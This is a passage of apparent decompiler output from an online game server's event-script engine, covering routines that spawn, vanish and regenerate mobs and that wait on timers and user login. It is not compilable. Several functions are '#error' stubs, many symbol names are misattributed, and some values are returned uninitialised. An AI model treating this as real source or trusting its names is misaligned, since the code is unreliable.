*)(*(_DWORD *)&ps->gap10114[4] + 77280) + 60)) ) PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitInterrupt::sa_Step"); __security_check_cookie(v16); return result; } //----- (004AE170) -------------------------------------------------------- #error "4AE170: undefined or illegal type '#331' (funcsize=197)" //----- (004AE450) -------------------------------------------------------- #error "4AE450: undefined or illegal type '#331' (funcsize=102)" //----- (004AE5B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Door::sa_Step(PineEventScriptNode::ShineChange2Door *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #331 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 unsigned __int16 mobhnd; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = "PineEventScriptNode::ShineChange2Door::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineChange2Door::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineChange2Door::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineChange2Door : "); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectChange(v4, exechandle, ps, ip, v8, mobhnd) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 26); v9 = ps; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineChange2Door::sa_Step"); return v11; } //----- (004AE6E0) -------------------------------------------------------- #error "4AE6E0: undefined or illegal type '#331' (funcsize=135)" //----- (004AE8C0) -------------------------------------------------------- #error "4AE8C0: undefined or illegal type '#331' (funcsize=220)" //----- (004AEBD0) -------------------------------------------------------- #error "4AEBD0: undefined or illegal type '#331' (funcsize=113)" //----- (004AED90) -------------------------------------------------------- #error "4AED90: undefined or illegal type '#331' (funcsize=113)" //----- (004AEF50) -------------------------------------------------------- #error "4AEF50: undefined or illegal type '#331' (funcsize=28)" //----- (004AEFF0) -------------------------------------------------------- #error "4AEFF0: undefined or illegal type '#331' (funcsize=52)" //----- (004AF0D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineObjectVanish::sa_Step(PineEventScriptNode::ShineObjectVanish *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineObjectVanish *v4; // ebx@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::Express *v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 int (__stdcall **v11)(int, #331 *, int); // edi@5 void *v12; // ecx@5 const char *v13; // eax@10 unsigned int v14; // eax@10 signed __int16 v15; // si@10 const char *v16; // eax@12 Movie::Theater *v17; // ecx@13 #331 *v18; // esi@15 #331 *v19; // eax@18 const char *v20; // eax@20 unsigned __int16 result; // ax@22 const char *v22; // [sp-8h] [bp-438h]@16 const char *v23; // [sp-4h] [bp-434h]@16 int (__stdcall **almv)(int, #331 *, int); // [sp+Ch] [bp-424h]@5 __int16 v25; // [sp+10h] [bp-420h]@5 FunctionEntarance _; // [sp+14h] [bp-41Ch]@1 PineScriptToken arg0; // [sp+18h] [bp-418h]@1 PineScriptToken indexToken; // [sp+118h] [bp-318h]@4 PineScriptToken thisa; // [sp+218h] [bp-218h]@4 PineScriptToken tkn; // [sp+318h] [bp-118h]@1 unsigned int cookie; // [sp+41Ch] [bp-14h]@22 int v32; // [sp+42Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineObjectVanish::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectVanish::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineObjectVanish::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v32 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineVanish"); PineScriptToken::pst_Clear(&tkn); LOBYTE(v32) = 1; PineScriptToken::pst_Clear(&arg0); LOBYTE(v32) = 2; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v8, (MobTacticElement::MobActionArgument *)&tkn); v9 = v4->baseclass_0.os_Express[0]; if ( v9 && ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->baseclass_0.vfptr->sa_Calculate)( &arg0, ps) ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&arg0); } MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &trc_eol); memcpy(&indexToken, &tkn, sizeof(indexToken)); LOBYTE(v32) = 3; PineScriptToken::pst_ToLower(&indexToken); memcpy(&thisa, &indexToken, sizeof(thisa)); LOBYTE(v32) = 4; if ( PineScriptToken::operator__(&thisa, index_all.pst_Buffer) ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almv); v11 = &AxialListMobVanish::_vftable_; almv = &AxialListMobVanish::_vftable_; v25 = -1; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v32) = 5; if ( v12 ) ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&almv, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_8; } if ( !PineScriptToken::operator__(&thisa, index_mobindex.pst_Buffer) ) { if ( !PineScriptToken::operator__(&thisa, index_handle.pst_Buffer) ) { v19 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( v19 ) { AxialListMobVanish::almv_Vanish(v19); goto LABEL_22; } MoveManager::MoveManager((DiceTaiSai *)&indexToken); v23 = v20; v22 = "PineEventScriptNode::ShineObjectVanish::sa_Step : Invalid mob Object Token"; LABEL_21: AssertClass::ac_AssertFail(&shineassert, v22, v23); goto LABEL_22; } LOWORD(v16) = PineScriptToken::pst_GetNumber(&arg0, 0); v18 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int16)v16); MoveManager::MoveManager((DiceTaiSai *)&arg0); if ( v18 ) { AxialListMobVanish::almv_Vanish(v18); goto LABEL_22; } LABEL_16: v23 = v16; v22 = "PineEventScriptNode::ShineObjectVanish::sa_Step : Invalid mob id"; goto LABEL_21; } MoveManager::MoveManager((DiceTaiSai *)&arg0); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v15 = -1; if ( v14 != -1 ) v15 = v14; MoveManager::MoveManager((DiceTaiSai *)&arg0); if ( v15 == -1 ) goto LABEL_16; AxialListIterator::AxialListIterator((AxialListIterator *)&almv); v11 = &AxialListMobVanish::_vftable_; almv = &AxialListMobVanish::_vftable_; v25 = v15; v17 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v32) = 6; Movie::Theater::t_AllInMap(v17, (AxialListIterator *)&almv); LABEL_8: LOBYTE(v32) = 4; almv = v11; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almv); LABEL_22: LOBYTE(v32) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v32) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&indexToken); LOBYTE(v32) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg0); LOBYTE(v32) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v32 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectVanish::sa_Step"); __security_check_cookie(cookie); return result; } // 5B2FE8: using guessed type int (__stdcall *AxialListMobVanish___vftable_)(int, #331 *obj, int distancesquar); //----- (004AF490) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineRegenGroup::sa_Step(PineEventScriptNode::ShineRegenGroup *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineRegenGroup *v4; // ebp@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 Movie::Theater *v9; // ecx@5 MobTacticElement::MobActionBase *v10; // eax@8 MobTacticElement::MobActionBase *v11; // eax@8 MobTacticElement::MobActionBase *v12; // eax@8 const char *v13; // eax@8 const char *v14; // ST0C_4@8 const char *v15; // eax@8 PineScriptMobRegenerator::RegenStruct *v16; // edi@8 PineEventScriptNode::Express *v17; // eax@10 PineEventScriptNode::Express *v18; // eax@12 unsigned __int16 result; // ax@17 const char *v20; // [sp+8h] [bp-454h]@2 int v21; // [sp+Ch] [bp-450h]@2 unsigned int origY; // [sp+20h] [bp-43Ch]@10 unsigned int origX; // [sp+24h] [bp-438h]@10 int map; // [sp+2Ch] [bp-430h]@5 int v25; // [sp+30h] [bp-42Ch]@5 int v26; // [sp+34h] [bp-428h]@5 ORToken aitype; // [sp+38h] [bp-424h]@15 PineScriptToken mapid; // [sp+4Ch] [bp-410h]@1 PineScriptToken index; // [sp+14Ch] [bp-310h]@1 PineScriptToken y; // [sp+24Ch] [bp-210h]@1 PineScriptToken x; // [sp+34Ch] [bp-110h]@1 unsigned int v32; // [sp+44Ch] [bp-10h]@17 int v33; // [sp+458h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineRegenGroup::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineRegenGroup::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineRegenGroup : "); PineScriptToken::pst_Clear(&mapid); LOBYTE(v33) = 1; PineScriptToken::pst_Clear(&index); LOBYTE(v33) = 2; PineScriptToken::pst_Clear(&x); LOBYTE(v33) = 3; PineScriptToken::pst_Clear(&y); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v33) = 4; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&mapid, ps) == 0 ) { v21 = 0; v20 = "PineEventScriptNode::ShineRegenGroup::sa_Step : no map"; LABEL_7: AssertClass::ac_AssertFail(&shineassert, v20, v21); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&y); LOBYTE(v33) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&x); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mapid); v33 = -1; goto LABEL_17; } if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &index, ps) == 0 ) { v21 = 0; v20 = "PineEventScriptNode::ShineRegenGroup::sa_Step : no index"; goto LABEL_7; } v9 = *(Movie::Theater **)&ps->gap10114[4]; v26 = 0; v25 = 0; map = 0; if ( Movie::Theater::t_MapNameServer(v9, (Name3 *)&map) == 0 ) { v21 = 0; v20 = "PineEventScriptNode::ShineRegenGroup::sa_Step : Not map name"; goto LABEL_7; } v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&mapid); v11 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &stru_59F2B8); v12 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v11, (MobTacticElement::MobActionArgument *)&index); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v12, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&index); v14 = v13; MoveManager::MoveManager((DiceTaiSai *)&mapid); v16 = PineScriptMobRegenerator::psmr_find(&scriptmobregen, v15, v14); if ( v16 != 0 ) { origX = v16->rs_group.rgs_regreg.rgs_CenterX; v17 = v4->baseclass_0.os_Express[2]; origY = v16->rs_group.rgs_regreg.rgs_CenterY; if ( v17 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->baseclass_0.vfptr->sa_Calculate)( &x, ps) ) { v18 = v4->baseclass_0.os_Express[3]; if ( v18 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v18->baseclass_0.vfptr->sa_Calculate)( &y, ps) ) { v16->rs_group.rgs_regreg.rgs_CenterX = PineScriptToken::pst_GetNumber(&x, 0); v16->rs_group.rgs_regreg.rgs_CenterY = PineScriptToken::pst_GetNumber(&y, 0); } } } } ORToken::ORToken( &aitype, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer); MobHatchery::mh_ScriptBreed(mobhatchery, (Name3 *)&map, &v16->rs_data, &v16->rs_group, &aitype); v16->rs_group.rgs_regreg.rgs_CenterX = origX; v16->rs_group.rgs_regreg.rgs_CenterY = origY; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMobRegen::sa_Step : No regen index", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&y); LOBYTE(v33) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&x); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mapid); v33 = -1; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineRegenGroup::sa_Step"); __security_check_cookie(v32); return result; } //----- (004AF820) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineWaitUserLogin::sa_Step(PineEventScriptNode::ShineWaitUserLogin *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineWaitUserLogin *v4; // ebp@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 MobTacticElement::MobActionBase *v9; // eax@2 PineScriptToken *v10; // edi@3 unsigned __int16 v11; // si@4 void *v12; // ecx@5 PineScriptToken *v14; // eax@13 unsigned __int16 v15; // ax@13 int v16; // [sp-4h] [bp-3Ch]@9 int almc; // [sp+14h] [bp-24h]@5 __int16 v18; // [sp+18h] [bp-20h]@5 int v19; // [sp+1Ch] [bp-1Ch]@5 int v20; // [sp+20h] [bp-18h]@5 int v21; // [sp+24h] [bp-14h]@5 char (__thiscall *v22)(AxialListMobCounter *, #331 *, #331 *); // [sp+28h] [bp-10h]@5 int v23; // [sp+34h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWaitUserLogin::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v23 = 0; if ( v5 ) { v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_59CBB8); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineWaitUserLogin"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); ++*ip; ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(clockwatch.cw_CurrTick + 2400); } v10 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); if ( v10 != 0 ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v18 = -1; v19 = 0; v20 = 0; v21 = 1; v22 = AxialListMobCounter::ala_SearchPly; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v23) = 1; if ( v12 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); if ( v20 <= 0 ) { if ( ps->ps_Shine.node >= (PineEventScriptNode::ScriptAtom *)clockwatch.cw_CurrTick ) { LOBYTE(v23) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); return 1; } v16 = 0; } else { v16 = 1; } v14 = PineScriptToken::pst_Clear(v10); PineScriptToken::pst_MergeNumber(v14, v16); v15 = PineScriptStack::ProcessStack::ps_Pop(ps); almc = (int)AxialListMobCounter::_vftable_; LOBYTE(v23) = 0; v11 = v15; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWaitUserLogin::sa_Step", 0); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); } --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); return v11; } // 5B1660: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004AFA40) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShinePause::sa_Step(PineEventScriptNode::ShinePause *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShinePause *v4; // edi@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 PineScriptToken *v9; // eax@2 PineEventScriptNode::ScriptAtomVtbl *v10; // edx@3 unsigned int v11; // esi@5 int v12; // eax@5 int v13; // eax@5 PineEventScriptNode::ScriptAtomVtbl *v14; // eax@7 unsigned int v15; // esi@10 int v16; // eax@10 PineEventScriptNode::ScriptAtomVtbl *v17; // edx@12 int v18; // eax@12 unsigned int v19; // esi@13 int v20; // eax@13 MobTacticElement::MobActionBase *v21; // eax@15 MobTacticElement::MobActionBase *v22; // eax@15 DiceTaiSaiDividind *v23; // ecx@15 PineEventScriptNode::ScriptAtomVtbl *v24; // edx@17 int v25; // eax@17 unsigned int v26; // esi@19 int v27; // eax@19 MobTacticElement::MobActionBase *v28; // eax@19 MobTacticElement::MobActionBase *v29; // eax@19 const char *v30; // eax@23 MobTacticElement::MobActionBase *v31; // eax@23 MobTacticElement::MobActionBase *v32; // eax@23 unsigned __int16 result; // ax@27 MobTacticElement::MobActionArgument *v34; // [sp-Ch] [bp-43Ch]@5 MobTacticElement::MobActionArgument *v35; // [sp-8h] [bp-438h]@5 MobTacticElement::MobActionArgument *v36; // [sp-4h] [bp-434h]@5 PineEventScriptNode::ShinePause *v37; // [sp+10h] [bp-420h]@1 FunctionEntarance _; // [sp+14h] [bp-41Ch]@1 PineScriptToken second; // [sp+18h] [bp-418h]@3 PineScriptToken thisa; // [sp+118h] [bp-318h]@2 PineScriptToken tkn; // [sp+218h] [bp-218h]@2 char argument; // [sp+318h] [bp-118h]@17 unsigned int cookie; // [sp+41Ch] [bp-14h]@27 int v44; // [sp+42Ch] [bp-4h]@1 v4 = this; v37 = this; _.fe_FunctionCode = unk_5B3CDC; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_5B3CDC); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_5B3CDC; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v44 = 0; if ( !v5 ) goto LABEL_21; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &::argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &unk_5B3CCC); ++*ip; PineScriptToken::pst_Clear(&tkn); LOBYTE(v44) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); PineScriptToken::pst_ToLower(v9); memcpy(&thisa, &tkn, sizeof(thisa)); LOBYTE(v44) = 2; if ( PineScriptToken::operator__(&thisa, index_hour.pst_Buffer) ) { PineScriptToken::pst_Clear(&second); v10 = v37->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v44) = 3; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&second, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : no time", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&second); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LABEL_26: --funcallanalizer.fca_stackpoint; v44 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_5B3CDC); goto LABEL_27; } v11 = clockwatch.cw_CurrTick; v12 = PineScriptToken::pst_GetNumber(&second, 0); v36 = &trc_eol; v35 = (MobTacticElement::MobActionArgument *)" Hours"; v13 = v11 + 36000 * v12; v34 = (MobTacticElement::MobActionArgument *)&second; goto LABEL_14; } if ( !PineScriptToken::operator__(&thisa, index_minute.pst_Buffer) ) { if ( !PineScriptToken::operator__(&thisa, index_sec.pst_Buffer) ) { if ( PineScriptToken::operator__(&thisa, index_millisec.pst_Buffer) ) { PineScriptToken::pst_Clear((PineScriptToken *)&argument); v24 = v37->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v44) = 6; v25 = ((int (__stdcall *)(char *, PineScriptStack::ProcessStack *))v24->sa_Calculate)(&argument, ps); if ( !AssertClass::operator__(&shineassert, v25 != 0, "PineEventScriptNode::ShineWait::sa_Step : no time", 3) ) { v26 = clockwatch.cw_CurrTick; v27 = PineScriptToken::pst_GetNumber((PineScriptToken *)&argument, 0); ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(v26 + ((signed int)((unsigned __int64)(10 * v27 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v27 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31)); v28 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&argument); v29 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v28, " MilliSeconds"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v29, &trc_eol); v23 = (DiceTaiSaiDividind *)&argument; goto LABEL_20; } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&argument); } else { MoveManager::MoveManager((DiceTaiSai *)&tkn); AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : Invalid flag", v30); v31 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, "Error : "); v32 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v31, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v32, &trc_eol); PineScriptStack::ProcessStack::ps_Pop(ps); } LABEL_24: LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v44 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_27; } PineScriptToken::pst_Clear(&second); v17 = v37->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v44) = 5; v18 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->sa_Calculate)(&second, ps); if ( !AssertClass::operator__(&shineassert, v18 != 0, "PineEventScriptNode::ShineWait::sa_Step : no time", 2) ) { v19 = clockwatch.cw_CurrTick; v20 = PineScriptToken::pst_GetNumber(&second, 0); v36 = &trc_eol; v35 = " Seconds"; v13 = v19 + 10 * v20; v34 = (MobTacticElement::MobActionArgument *)&second; LABEL_14: ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)v13; goto LABEL_15; } LABEL_9: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&second); goto LABEL_24; } PineScriptToken::pst_Clear(&second); v14 = v37->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v44) = 4; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->sa_Calculate)(&second, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : no time", 1); goto LABEL_9; } v15 = 